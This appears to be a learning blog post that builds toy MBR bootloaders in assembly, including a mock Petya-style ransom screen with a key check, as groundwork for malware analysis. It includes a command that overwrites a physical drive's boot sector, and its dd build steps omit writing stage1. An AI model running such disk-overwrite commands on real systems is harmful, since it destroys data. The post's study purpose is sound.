[Learning] Simple MBR And Bootloader: Something Before Analyzing Petya

First Post:

Last Update:

Word Count:
2k

Read Time:
12 min

Introduction

Recently, I have been analyzing Petya and NotPetya. Unlike WannaCry, Petya and NotPetya contain low-level components that directly modify disk structures and operating system behavior. So, understanding these malware requires knowledge of low-level system internals.

Therefore, I decided to write this article to document my learning journey. It also serves as a reference for my ongoing study.

Terminology

This section introduces several key terms used throughout this article.

Disk Sector

In computer disk storage, a sector is a subdivision of a track on a magnetic disk or optical disc.

For most disks, each sector stores a fixed amount of user-accessible data, traditionally 512 bytes for Hard Disk Drives (HDDs), and 2048 bytes for CD-ROMs, DVD-ROMs, and BD-ROMs. Newer HDDs and SSDs use 4096-byte sectors, known as Advanced Format (AF). 1

Source: https://upload.wikimedia.org/wikipedia/commons/thumb/a/ae/Disk-structure2.svg/330px-Disk-structure2.svg.png

Boot Sector

A boot sector is the sector of a persistent data storage device which contains machine code to be loaded into Random-Access Memory (RAM) and then executed by a computer system’s built-in firmware (e.g., the BIOS).

Usually, the first sector of the hard disk is the boot sector, regardless of sector size (512 or 4096 bytes) and partitioning flavor (MBR or GPT). 2 6

Disk Partitioning (Slicing)

Disk partitioning (or slicing) is the creation of one or more regions on secondary storage, so that each region can be managed separately. These regions are called partitions.

It is typically the first step when preparing a newly installed disk, before creating any file systems. 3 5 6

Mass Storage

In computing, mass storage refers to the storage of large amounts of data in persisting and machine-readable fashion. In general, the term “mass” is used to mean in relation to contemporaneous Hard Disk Drives (HDDs), but it has also been used to mean large relative to the size of primary memory as for example with floppy disk. 4

Master Boot Record

A Master Boot Record (MBR) is a type of boot sector in the first block of partitioned computer mass storage devices like fixed disks or removable drives intended for use with IBM PC-compatible systems and beyond.

Note: The concept of MBRs was publicly introduced in 1983 with PC DOS 2.0

The MBR holds the information on how the disc’s sectors (a.k.a. blocks) are divided into partitions, each partition notionally containing a file system. 6

MBR also contains executable code to function as a loader for the installed operating system, usually by passing control over the loader’s second stage, or in conjunction with each partition’s volume boot record (VBR). This MBR code is usually referred to as a boot loader. 4 5

Experimental Environment

This article demonstrates how Petya modifies the MBR.

As with general malware analysis, this type of modification directly affects physical disks. Therefore, using a virtual machine is essential to ensure system safety.

Despite that, it may still lead to unexpected issues within the virtual machine. During my analysis of Petya, I executed it inside a virtual machine. After using snapshots, I encountered an issue where the snapshot system became unstable and required restarting VMware Workstation to function properly again.

This demonstrates that boot-level malware can interfere with virtualization snapshot mechanisms due to low-level disk modifications.

QEMU

QEMU (Quick Emulator) is used in this article for simulating boot loader. You can use the commands below to install this tool:

1
2
3
sudo apt update
sudo apt install qemu-system-x86
qemu-system-x86_64 --version

Example of MBR (NASM)

This is a minimal “Hello World” example of an MBR program written in assembly.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
; hello_mbr.asm
BITS 16
ORG 0x7C00

start:
mov si, message

print:
lodsb ; AL = [SI]
cmp al, 0
je done

mov ah, 0x0E ; teletype output
mov bh, 0x00
mov bl, 0x07 ; white text
int 0x10

jmp print

done:
cli
hlt

message db "Hello from MBR!", 0
; padding until 510 bytes
times 510 - ($ - $$) db 0

; boot signature
dw 0xAA55
1
2
nasm -f bin mbr.asm -o mbr.bin
qemu-system-x86_64 -drive format=raw,file=mbr.bin

The demonistration is shown below:

Next, I rewrote the script to include a fake CHKDSK message and basic input functionality:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
; fake_chkdsk.asm
BITS 16
ORG 0x7C00

start:
call clear_screen
call print_banner

; wait any key
xor ah, ah
int 0x16

call clear_screen
call ask_key

hang:
jmp hang

; -------------------------
clear_screen:
mov ah, 0x00
mov al, 0x03
int 0x10
ret

; -------------------------
print:
.next:
lodsb
cmp al, 0
je .done

mov ah, 0x0E
int 0x10
jmp .next

.done:
ret

; -------------------------
print_banner:
mov si, banner
call print
ret

; -------------------------
ask_key:
mov si, prompt
call print

mov di, buffer

.read:
xor ah, ah
int 0x16

cmp al, 13 ; Enter
je .done

; echo
mov ah, 0x0E
int 0x10

stosb
jmp .read

.done:
mov al, 0
stosb

; newline
mov ah, 0x0E
mov al, 13
int 0x10
mov al, 10
int 0x10

mov si, result
call print

mov si, buffer
call print

ret

; -------------------------
banner db 13,10
db " YOUR FILES ARE ENCRYPTED",13,10
db " (Petya style)",13,10,13,10
db "Press any key to continue...",0

prompt db 13,10,"Enter key: ",0
result db 13,10,"You entered: ",0

buffer times 32 db 0

times 510 - ($ - $$) db 0
dw 0xAA55
1
2
nasm -f bin fake_chkdsk.asm -o chkdsk.bin
qemu-system-x86_64 -drive format=raw,file=chkdsk.bin

The demonstration is shown below:

Fake CHKDSK message

User (victim) input

Note that the maximum size of MBR is 512 bytes. To simulate Petya-like boot-level behavior, I constructed a raw disk image containing both the MBR (stage 1) and the second-stage payload (stage 2).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
; stage1.asm

BITS 16
ORG 0x7C00

start:
cli

xor ax, ax
mov ds, ax
mov es, ax
mov ss, ax
mov sp, 0x7C00

sti

; load stage2 to 0x8000
mov bx, 0x8000
mov ah, 0x02
mov al, 4 ; 4 sectors
mov ch, 0
mov cl, 2 ; sector 2
mov dh, 0
mov dl, 0x80

int 0x13
jc disk_error ; VERY IMPORTANT

jmp 0x0000:0x8000

disk_error:
mov si, err_msg
.print:
lodsb
cmp al, 0
je $
mov ah, 0x0E
int 0x10
jmp .print

err_msg db "Disk read error!",0

times 510 - ($ - $$) db 0
dw 0xAA55
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
; stage2.asm

BITS 16
ORG 0x8000

start:
cli
xor ax, ax
mov ds, ax
mov es, ax
mov ss, ax
mov sp, 0x7C00
sti

; debug message
mov si, test_msg
call print

call clear_screen
call print_banner

input_loop:
call newline
mov si, prompt
call print

mov di, buffer

.read:
xor ah, ah
int 0x16

cmp al, 13 ; ENTER
je .done

; echo char
mov ah, 0x0E
int 0x10

stosb
jmp .read

.done:
mov al, 0
stosb

call newline

call check_key
cmp al, 1
je success

; wrong key
mov si, wrong_msg
call print
jmp input_loop

success:
mov si, success_msg
call print

hang:
jmp hang

; -------------------------
; compare buffer with "SECRET"
check_key:
mov si, buffer
mov di, correct_key

.compare:
mov al, [si]
mov bl, [di]

cmp al, bl
jne .fail

cmp al, 0
je .ok

inc si
inc di
jmp .compare

.ok:
mov al, 1
ret

.fail:
mov al, 0
ret

; -------------------------
print:
.next:
lodsb
cmp al, 0
je .done

mov ah, 0x0E
int 0x10
jmp .next

.done:
ret

; -------------------------
newline:
mov ah, 0x0E
mov al, 13
int 0x10
mov al, 10
int 0x10
ret

; -------------------------
clear_screen:
mov ah, 0x00
mov al, 0x03
int 0x10
ret

; -------------------------
print_banner:
mov si, banner
call print
ret

; -------------------------
banner db 13,10
db " uu$$$$$$$$$$$uu",13,10
db " uu$$$$$$$$$$$$$$$$$uu",13,10
db " u$$$$$$$$$$$$$$$$$$$$$u",13,10
db " u$$$$$$$$$$$$$$$$$$$$$$$u",13,10
db " u$$$$$$$$$$$$$$$$$$$$$$$$$u",13,10
db " u$$$$$$* *$$$* *$$$$$$u",13,10
db " *$$$$* u$u $$$$*",13,10
db " $$$u u$u u$$$",13,10
db " $$$u u$$$u u$$$",13,10
db " *$$$$uu$$$ $$$uu$$$$*",13,10
db " *$$$$$$$* *$$$$$$$*",13,10
db " u$$$$$$$u$$$$$$$u",13,10
db " u$*$*$*$*$*$*$u",13,10
db " uuu $$u$ $ $ $ $u$$ uuu",13,10
db " u$$$$ $$$$$u$u$u$$$ u$$$$",13,10
db " $$$$$uu *$$$$$$$$$* uu$$$$$$",13,10
db "u$$$$$$$$$$$uu ***** uuuu$$$$$$$$$",13,10
db "$$$$***$$$$$$$$$$uuu uu$$$$$$$$$***$$$*",13,10
db " *** **$$$$$$$$$$$uu **$***",13,10
db " uuuu **$$$$$$$$$$uuu",13,10
db " u$$$uuu$$$$$$$$$uu **$$$$$$$$$$$uuu$$$",13,10
db " $$$$$$$$$$**** **$$$$$$$$$$$*",13,10
db " *$$$$$* **$$$$**",13,10
db " $$$* $$$$*",13,10,13,10

db " YOUR FILES ARE ENCRYPTED",13,10
db " (Petya style)",13,10,13,10
db "Press any key to continue...",0

prompt db 13,10,"Key: ",0
wrong_msg db 13,10,"Wrong key! Try again.",0
success_msg db 13,10,"Files were decrypted!",0

correct_key db "PETYA",0

buffer times 32 db 0

Source of the ASCII art: this GitHub gist

Compile both assembly scripts:

1
2
nasm -f bin stage1.asm -o stage1.bin
nasm -f bin stage2.asm -o stage2.bin

Initially, I created the disk image (final payload) by simply concatenating stage1 and stage2 binaries using the commands below:

1
copy /b stage1.bin + stage2.bin disk.img
1
cat stage1.bin stage2.bin > disk.img

However, it did not executed properly in my experiment. This approach does not guarantee that stage2 begins at a sector boundary. Since the BIOS reads data in 512-byte sectors, stage2 must be explicitly written starting from sector 2 (using tools like dd with seek=1)

Incorrect alignment (command: dir disk.img)

Without proper alignment, the bootloader ends up loading incorrect data, which leads to a silent failure (e.g., only a blinking cursor).

The correct building procedure using “dd for Windows” is shown below:

1
2
dd if=/dev/zero of=disk.img bs=512 count=100
dd if=stage2.bin of=disk.img bs=512 seek=1 conv=notrunc

Execute the payload with qemu:

1
qemu-system-x86_64 -drive format=raw,file=disk.img

The demonstration is shown below:

Using “dd for Windows”, the image can be written directly to a virtual disk:

Cautious: Warning: This operation may damage your physical drive. Always perform this in a virtual machine.

Check the index of your available physical disks:

1
wmic diskdrive get index,model,size

Again…

PLEASE DO THIS IN YOUR VIRTUAL MACHINE!

1
dd if=disk.img of=\\.\PhysicalDrive0 bs=512

After restarting my virtual machine, the loader was successfully loaded:

Conclusion

This article demonstrates how boot-level malware like Petya can manipulate disk structures at a very early stage of the system boot process.

In this article, I built a minimal bootloader from scratch and explored how execution begins at the MBR level. More importantly, I reproduced a simplified stage1 → stage2 loading mechanism, which closely reflects how real-world boot-level malware (such as Petya) operates.

One key takeaway from this experiment is that low-level details, such as sector alignment, are critical. A small mistake (e.g., improperly placing stage2 across sector boundaries) can completely break the execution flow, resulting in silent failures. This also explains why analyzing bootkits and MBR-based malware requires not only assembly knowledge, but also an understanding of how BIOS interacts with disk structures.

With this foundation, we are now ready to move forward and analyze how Petya leverages these techniques to hijack the boot process and take control of the system before the operating system even loads.

If you have any comments or suggestions, please feel free to leave them below!

References

1. https://en.wikipedia.org/wiki/Disk_sector
2. https://en.wikipedia.org/wiki/Boot_sector
3. https://en.wikipedia.org/wiki/Disk_partitioning
4. https://en.wikipedia.org/wiki/Mass_storage
5. Operating Systems: Three Easy Pieces. Remzi H. Arpaci-Dusseau and Andrea C. Arpaci-Dusseau (University of Wisconsin-Madison)
6. How Linux Works : What Every Superuser Should Know, 3/e, No Starch Press
7. PC Assembly Language, Paul A. Carter

THANKS FOR READING